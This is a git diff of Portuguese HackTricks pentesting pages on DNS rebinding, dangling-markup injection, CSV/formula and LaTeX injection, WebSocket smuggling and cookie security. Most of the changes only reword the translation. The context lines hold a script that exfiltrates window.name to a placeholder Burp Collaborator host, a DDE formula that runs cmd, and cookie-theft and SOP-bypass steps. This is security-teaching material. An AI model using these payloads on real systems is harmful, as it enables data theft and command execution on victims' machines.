Para executar seu próprio servidor de rebinding de DNS, você pode utilizar ferramentas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Isso envolve expor a porta local 53/udp, criar um registro A apontando para ele (por exemplo, ns.example.com) e criar um registro NS apontando para o subdomínio A criado anteriormente (por exemplo, ns.example.com). Qualquer subdomínio do subdomínio ns.example.com será então resolvido pelo seu host.
|
||||
Para executar seu próprio servidor de rebinding DNS, você pode utilizar ferramentas como **DNSrebinder** ([https://github.com/mogwailabs/DNSrebinder](https://github.com/mogwailabs/DNSrebinder)). Isso envolve expor a porta local 53/udp, criar um registro A apontando para ele (por exemplo, ns.example.com) e criar um registro NS apontando para o subdomínio A criado anteriormente (por exemplo, ns.example.com). Qualquer subdomínio do subdomínio ns.example.com será então resolvido pelo seu host.
|
||||
|
||||
Você também pode explorar um servidor em execução publicamente em [http://rebind.it/singularity.html](http://rebind.it/singularity.html) para uma melhor compreensão e experimentação.
|
||||
|
||||
### Rebinding de DNS via **Cache**
|
||||
### Rebinding DNS via **Cache**
|
||||
|
||||
Outra maneira de contornar a defesa de cache é utilizando vários endereços IP para o mesmo subdomínio no provedor de DNS. Veja como funciona:
|
||||
Outra maneira de contornar a defesa de cache é utilizando vários endereços IP para o mesmo subdomínio no provedor DNS. Veja como funciona:
|
||||
|
||||
1. O atacante configura dois registros A (ou um único registro A com dois IPs) para o mesmo subdomínio no provedor de DNS.
|
||||
1. O atacante configura dois registros A (ou um único registro A com dois IPs) para o mesmo subdomínio no provedor DNS.
|
||||
2. Quando um navegador verifica esses registros, ele recebe ambos os endereços IP.
|
||||
3. Se o navegador decidir usar primeiro o endereço IP do atacante, o atacante pode enviar um payload que realiza solicitações HTTP para o mesmo domínio.
|
||||
3. Se o navegador decidir usar primeiro o endereço IP do atacante, o atacante pode servir um payload que realiza solicitações HTTP para o mesmo domínio.
|
||||
4. No entanto, uma vez que o atacante obtém o endereço IP da vítima, ele deixa de responder ao navegador da vítima.
|
||||
5. O navegador da vítima, ao perceber que o domínio não está respondendo, passa a usar o segundo endereço IP fornecido.
|
||||
6. Ao acessar o segundo endereço IP, o navegador contorna a Política de Mesma Origem (SOP), permitindo que o atacante abuse disso e colete e exfiltre informações.
|
||||
|
@ -331,13 +331,13 @@ Para mais informações, você pode verificar [https://unit42.paloaltonetworks.c
|
|||
* Se **IPs internos não forem permitidos**, responda com um **CNAME** para **localhost** (funciona em Linux e Mac)
|
||||
* Se **IPs internos não forem permitidos** como respostas DNS, você pode responder com **CNAMEs para serviços internos** como www.corporate.internal.
|
||||
|
||||
### Arma de Rebinding de DNS
|
||||
### DNS Rebidding Weaponized
|
||||
|
||||
Você pode encontrar mais informações sobre as técnicas de desvio anteriores e como usar a seguinte ferramenta na palestra [Gerald Doussot - Estado dos Ataques de Rebinding de DNS e Singularidade de Origem - Conferência DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
Você pode encontrar mais informações sobre as técnicas de desvio anteriores e como usar a seguinte ferramenta na palestra [Gerald Doussot - Estado dos Ataques de Rebinding DNS e Singularidade de Origem - Conferência DEF CON 27](https://www.youtube.com/watch?v=y9-0lICNjOQ).
|
||||
|
||||
[**`Singularidade de Origem`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding de DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para reverter o endereço IP do nome DNS do servidor de ataque para o endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
|
||||
[**`Singularidade de Origem`**](https://github.com/nccgroup/singularity) é uma ferramenta para realizar ataques de [rebinding DNS](https://en.wikipedia.org/wiki/DNS\_rebinding). Inclui os componentes necessários para reverter o endereço IP do nome DNS do servidor de ataque para o endereço IP da máquina alvo e para servir payloads de ataque para explorar software vulnerável na máquina alvo.
|
||||
|
||||
### Proteção Real contra Rebinding de DNS
|
||||
### Proteção Real contra Rebinding DNS
|
||||
|
||||
* Use TLS em serviços internos
|
||||
* Solicite autenticação para acessar dados
|
||||
|
@ -348,6 +348,7 @@ Você pode encontrar mais informações sobre as técnicas de desvio anteriores
|
|||
|
||||
**Fuzz possíveis configurações incorretas em políticas CORS**
|
||||
|
||||
* [https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8](https://portswigger.net/bappstore/420a28400bad4c9d85052f8d66d3bbd8)
|
||||
* [https://github.com/chenjj/CORScanner](https://github.com/chenjj/CORScanner)
|
||||
* [https://github.com/lc/theftfuzzer](https://github.com/lc/theftfuzzer)
|
||||
* [https://github.com/s0md3v/Corsy](https://github.com/s0md3v/Corsy)
|
||||
|
@ -372,7 +373,7 @@ Você pode encontrar mais informações sobre as técnicas de desvio anteriores
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
|
|
@ -2,21 +2,21 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking na AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
## Resumo
|
||||
|
||||
Essa técnica pode ser usada para extrair informações de um usuário quando uma **injeção HTML é encontrada**. Isso é muito útil se você **não encontrar nenhuma maneira de explorar um** [**XSS** ](../xss-cross-site-scripting/)mas puder **injetar algumas tags HTML**.\
|
||||
Essa técnica pode ser usada para extrair informações de um usuário quando uma **injeção HTML é encontrada**. Isso é muito útil se você **não encontrar nenhuma maneira de explorar um** [**XSS** ](../xss-cross-site-scripting/)**mas puder** **injetar algumas tags HTML**.\
|
||||
Também é útil se algum **segredo estiver salvo em texto claro** no HTML e você quiser **exfiltrá-lo** do cliente, ou se quiser enganar a execução de algum script.
|
||||
|
||||
Várias técnicas comentadas aqui podem ser usadas para contornar algumas [**Políticas de Segurança de Conteúdo**](../content-security-policy-csp-bypass/) extraindo informações de maneiras inesperadas (tags html, CSS, tags http-meta, formulários, base...).
|
||||
|
@ -67,6 +67,8 @@ O botão pode alterar o URL para onde as informações do formulário serão env
|
|||
```
|
||||
Um atacante pode usar isso para roubar as informações.
|
||||
|
||||
Encontre um [**exemplo desse ataque neste artigo**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp).
|
||||
|
||||
### Roubo de segredos em texto claro 2
|
||||
|
||||
Usando a técnica mencionada anteriormente para roubar formulários (injetando um novo cabeçalho de formulário), você pode então injetar um novo campo de entrada:
|
||||
|
@ -111,14 +113,14 @@ A partir dessa [pesquisa da portswiggers](https://portswigger.net/research/evadi
|
|||
<base target='
|
||||
```
|
||||
Note que você vai pedir à **vítima** para **clicar em um link** que irá **redirecioná-la** para um **payload** controlado por você. Também observe que o atributo **`target`** dentro da tag **`base`** conterá **conteúdo HTML** até a próxima aspa simples.\
|
||||
Isso fará com que o **valor** de **`window.name`** se o link for clicado seja todo esse **conteúdo HTML**. Portanto, como você **controla a página** para onde a vítima está acessando ao clicar no link, você pode acessar esse **`window.name`** e **exfiltrar** esses dados:
|
||||
Isso fará com que o **valor** de **`window.name`** se o link for clicado seja todo esse **conteúdo HTML**. Portanto, como você **controla a página** para onde a vítima está acessando ao clicar no link, você pode acessar esse **`window.name`** e **extrair** esses dados:
|
||||
```html
|
||||
<script>
|
||||
if(window.name) {
|
||||
new Image().src='//your-collaborator-id.burpcollaborator.net?'+encodeURIComponent(window.name);
|
||||
</script>
|
||||
```
|
||||
### Ataque de namespace HTML
|
||||
### Ataque de namespace HTML enganoso 1
|
||||
|
||||
Insira uma nova tag com um id dentro do HTML que irá sobrescrever a próxima e com um valor que afetará o fluxo de um script. Neste exemplo, você está selecionando com quem uma informação será compartilhada:
|
||||
```html
|
||||
|
@ -161,7 +163,7 @@ if (is_public) request.access_mode = AM_PUBLIC; ← Condition always e
|
|||
```
|
||||
### Abuso de JSONP
|
||||
|
||||
Se você encontrar uma interface JSONP, você pode ser capaz de chamar uma função arbitrária com dados arbitrários:
|
||||
Se você encontrar uma interface JSONP, poderá chamar uma função arbitrária com dados arbitrários:
|
||||
```html
|
||||
<script src='/editor/sharing.js'>: ← Legitimate script
|
||||
function set_sharing(public) {
|
||||
|
@ -213,11 +215,11 @@ No momento desta escrita, você precisa habilitar a tag portal no Chrome em `chr
|
|||
```
|
||||
### Vazamentos de HTML
|
||||
|
||||
Nem todas as formas de vazamento de conectividade em HTML serão úteis para o Dangling Markup, mas às vezes poderia ajudar. Verifique-os aqui: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
Nem todas as formas de vazamento de conectividade em HTML serão úteis para o Dangling Markup, mas às vezes poderia ajudar. Verifique-os aqui: [https://github.com/cure53/HTTPLeaks/blob/master/leak.html](https://github.com/cure53/HTTPLeaks/blob/master/leak.html)
|
||||
|
||||
## Vazamentos SS
|
||||
|
||||
Isso é uma **mistura** entre **dangling markup e XS-Leaks**. De um lado, a vulnerabilidade permite **injetar HTML** (mas não JS) em uma página da **mesma origem** da que estaremos atacando. Por outro lado, não iremos **atacar** diretamente a página onde podemos injetar HTML, mas sim **outra página**.
|
||||
Este é uma **mistura** entre **dangling markup e XS-Leaks**. De um lado, a vulnerabilidade permite **injetar HTML** (mas não JS) em uma página da **mesma origem** da que estaremos atacando. Por outro lado, não iremos **atacar** diretamente a página onde podemos injetar HTML, mas sim **outra página**.
|
||||
|
||||
{% content-ref url="ss-leaks.md" %}
|
||||
[ss-leaks.md](ss-leaks.md)
|
||||
|
@ -248,10 +250,10 @@ XS-Search é orientado para **exfiltrar informações de origens cruzadas** abus
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -10,13 +10,13 @@ Outras formas de apoiar o HackTricks:
|
|||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -26,7 +26,7 @@ Outras formas de apoiar o HackTricks:
|
|||
|
||||
### Informação
|
||||
|
||||
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do Excel.
|
||||
Se a sua **entrada** está sendo **refletida** dentro de **arquivos CSV** (ou qualquer outro arquivo que provavelmente será aberto pelo **Excel**), você pode ser capaz de inserir **fórmulas do Excel** que serão **executadas** quando o usuário **abrir o arquivo** ou quando o usuário **clicar em algum link** dentro da planilha do excel.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Atualmente, o **Excel irá alertar** (várias vezes) o **usuário quando algo é carregado de fora do Excel** para evitar que ele realize ações maliciosas. Portanto, um esforço especial em Engenharia Social deve ser aplicado ao payload final.
|
||||
|
@ -43,7 +43,7 @@ DDE ("cmd";"/C calc";"!A0")A0
|
|||
```
|
||||
### Hiperlink
|
||||
|
||||
**O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha do Excel final e realizar solicitações para locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos de alerta).**
|
||||
**O exemplo a seguir é muito útil para exfiltrar conteúdo da planilha do Excel final e para fazer solicitações para locais arbitrários. Mas requer que o usuário clique no link (e aceite os avisos de alerta).**
|
||||
|
||||
O exemplo a seguir foi retirado de [https://payatu.com/csv-injection-basic-to-exploit](https://payatu.com/csv-injection-basic-to-exploit)
|
||||
|
||||
|
@ -60,7 +60,7 @@ Imagine uma violação de segurança em um sistema de Gerenciamento de Registros
|
|||
* Ao clicar, dados sensíveis (potencialmente incluindo detalhes da planilha ou do computador do professor) são transmitidos para o servidor do atacante.
|
||||
4. **Registrando os Dados:**
|
||||
* O servidor do atacante recebe e registra os dados sensíveis enviados do computador do professor.
|
||||
* O atacante pode então usar esses dados para vários propósitos maliciosos, comprometendo ainda mais a privacidade e segurança dos alunos e da instituição.
|
||||
* O atacante pode então usar esses dados para vários fins maliciosos, comprometendo ainda mais a privacidade e segurança dos alunos e da instituição.
|
||||
|
||||
### RCE
|
||||
|
||||
|
@ -104,8 +104,8 @@ Normalmente, os servidores que você encontrará na internet que **convertem có
|
|||
Este programa usa 3 atributos principais para (des)permitir a execução de comandos:
|
||||
|
||||
- **`--no-shell-escape`**: **Desabilita** a construção `\write18{comando}`, mesmo que esteja habilitada no arquivo texmf.cnf.
|
||||
- **`--shell-restricted`**: O mesmo que `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
- **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Essa construção normalmente é desativada por motivos de segurança.
|
||||
- **`--shell-restricted`**: Igual a `--shell-escape`, mas **limitado** a um conjunto 'seguro' de **comandos pré-definidos** (\*\*No Ubuntu 16.04 a lista está em `/usr/share/texmf/web2c/texmf.cnf`).
|
||||
- **`--shell-escape`**: **Habilita** a construção `\write18{comando}`. O comando pode ser qualquer comando de shell. Esta construção normalmente é desativada por motivos de segurança.
|
||||
|
||||
No entanto, existem outras maneiras de executar comandos, então para evitar RCE é muito importante usar `--shell-restricted`.
|
||||
|
||||
|
@ -144,7 +144,7 @@ Você pode precisar ajustar a injeção com wrappers como \[ ou $.
|
|||
\write\outfile{Hello-world}
|
||||
\closeout\outfile
|
||||
```
|
||||
### Execução de comando <a href="#execução-de-comando" id="execução-de-comando"></a>
|
||||
### Execução de comando <a href="#command-execution" id="command-execution"></a>
|
||||
|
||||
A entrada do comando será redirecionada para stdin, use um arquivo temporário para obtê-lo.
|
||||
```bash
|
||||
|
@ -199,7 +199,7 @@ De [@EdOverflow](https://twitter.com/intigriti/status/1101509684614320130)
|
|||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -6,17 +6,17 @@
|
|||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
* **Compartilhe seus truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
**Grupo de Segurança Try Hard**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -69,13 +69,13 @@ Para obter informações adicionais sobre essa vulnerabilidade, especialmente em
|
|||
|
||||
## Websocket Smuggling
|
||||
|
||||
O Websocket smuggling, ao contrário de criar um túnel HTTP2 para um endpoint acessível por meio de um proxy, estabelece um túnel Websocket para contornar possíveis limitações do proxy e facilitar a comunicação direta com o endpoint.
|
||||
O Websocket smuggling, ao contrário da criação de um túnel HTTP2 para um endpoint acessível por meio de um proxy, estabelece um túnel Websocket para contornar possíveis limitações do proxy e facilitar a comunicação direta com o endpoint.
|
||||
|
||||
### Cenário 1
|
||||
|
||||
Neste cenário, um backend que oferece uma API Websocket pública juntamente com uma API REST interna inacessível é alvo de um cliente malicioso em busca de acesso à API REST interna. O ataque se desenrola em várias etapas:
|
||||
Neste cenário, um backend que oferece uma API Websocket pública ao lado de uma API REST interna inacessível é alvo de um cliente malicioso em busca de acesso à API REST interna. O ataque se desenrola em várias etapas:
|
||||
|
||||
1. O cliente inicia enviando uma solicitação de Upgrade para o proxy reverso com uma versão de protocolo `Sec-WebSocket-Version` incorreta no cabeçalho. O proxy, falhando em validar o cabeçalho `Sec-WebSocket-Version`, considera a solicitação de Upgrade válida e a encaminha para o backend.
|
||||
1. O cliente inicia enviando uma solicitação de Upgrade para o proxy reverso com uma versão de protocolo `Sec-WebSocket-Version` incorreta no cabeçalho. O proxy, falhando em validar o cabeçalho `Sec-WebSocket-Version`, acredita que a solicitação de Upgrade é válida e a encaminha para o backend.
|
||||
2. O backend responde com um código de status `426`, indicando a versão de protocolo incorreta no cabeçalho `Sec-WebSocket-Version`. O proxy reverso, ignorando o status de resposta do backend, assume prontidão para a comunicação Websocket e repassa a resposta ao cliente.
|
||||
3. Consequentemente, o proxy reverso é enganado a acreditar que uma conexão Websocket foi estabelecida entre o cliente e o backend, enquanto na realidade, o backend rejeitou a solicitação de Upgrade. Apesar disso, o proxy mantém uma conexão TCP ou TLS aberta entre o cliente e o backend, permitindo ao cliente acesso irrestrito à API REST privada por meio dessa conexão.
|
||||
|
||||
|
@ -113,7 +113,7 @@ Verifique os laboratórios para testar ambos os cenários em [https://github.com
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -7,7 +7,7 @@
|
|||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
@ -16,7 +16,7 @@ Outras maneiras de apoiar o HackTricks:
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -48,9 +48,9 @@ Quando dois cookies têm o mesmo nome, o escolhido para envio é baseado em:
|
|||
### SameSite
|
||||
|
||||
* O atributo `SameSite` dita se os cookies são enviados em solicitações originadas de domínios de terceiros. Ele oferece três configurações:
|
||||
* **Estrito**: Restringe o cookie de ser enviado em solicitações de terceiros.
|
||||
* **Strict**: Restringe o cookie de ser enviado em solicitações de terceiros.
|
||||
* **Lax**: Permite que o cookie seja enviado com solicitações GET iniciadas por sites de terceiros.
|
||||
* **Nenhum**: Permite que o cookie seja enviado de qualquer domínio de terceiros.
|
||||
* **None**: Permite que o cookie seja enviado de qualquer domínio de terceiros.
|
||||
|
||||
Lembre-se, ao configurar cookies, entender esses atributos pode ajudar a garantir que eles se comportem conforme o esperado em diferentes cenários.
|
||||
|
||||
|
@ -68,7 +68,7 @@ Tabela de [Invicti](https://www.netsparker.com/blog/web-security/same-site-cooki
|
|||
Um cookie com atributo _**SameSite**_ irá **mitigar ataques CSRF** onde uma sessão logada é necessária.
|
||||
|
||||
**\*Observe que a partir do Chrome80 (fev/2019) o comportamento padrão de um cookie sem um atributo samesite** **será lax** ([https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/](https://www.troyhunt.com/promiscuous-cookies-and-their-impending-death-via-the-samesite-policy/)).\
|
||||
Observe que temporariamente, após aplicar essa alteração, os **cookies sem uma política SameSite** **no Chrome serão tratados como Nenhum** durante os **primeiros 2 minutos e depois como Lax para solicitações POST entre sites de nível superior.**
|
||||
Observe que temporariamente, após aplicar essa alteração, os **cookies sem uma política SameSite** **no Chrome serão tratados como None** durante os **primeiros 2 minutos e depois como Lax para solicitações POST entre sites de alto nível.**
|
||||
|
||||
## Flags de Cookies
|
||||
|
||||
|
@ -76,11 +76,11 @@ Observe que temporariamente, após aplicar essa alteração, os **cookies sem um
|
|||
|
||||
Isso evita que o **cliente** acesse o cookie (por exemplo, via **Javascript**: `document.cookie`)
|
||||
|
||||
#### **Bypasses**
|
||||
#### **Burlas**
|
||||
|
||||
* Se a página estiver **enviando os cookies como resposta** de uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação a essa página e **roubar os cookies** da resposta (ver um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Isso poderia ser Bypassed com solicitações **HTTP TRACE** como a resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
|
||||
* Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** a partir do JS. No entanto, alguns bypasses para isso foram encontrados em software específico, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
|
||||
* Se a página estiver **enviando os cookies como resposta** de uma solicitação (por exemplo, em uma página **PHPinfo**), é possível abusar do XSS para enviar uma solicitação para esta página e **roubar os cookies** da resposta (ver um exemplo em [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/).
|
||||
* Isso poderia ser Burlado com solicitações **HTTP TRACE** como a resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Essa técnica é chamada de **Cross-Site Tracking**.
|
||||
* Essa técnica é evitada por **navegadores modernos ao não permitir o envio de uma solicitação TRACE** a partir do JS. No entanto, foram encontradas algumas formas de burlar isso em software específico, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
|
||||
* Outra maneira é a exploração de vulnerabilidades zero/day dos navegadores.
|
||||
* É possível **sobrescrever cookies HttpOnly** realizando um ataque de overflow do Cookie Jar:
|
||||
|
||||
|
@ -92,7 +92,7 @@ Isso evita que o **cliente** acesse o cookie (por exemplo, via **Javascript**: `
|
|||
|
||||
### Seguro
|
||||
|
||||
A solicitação enviará o cookie apenas em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
|
||||
A solicitação enviará o cookie **apenas** em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
|
||||
|
||||
## Prefixos de Cookies
|
||||
|
||||
|
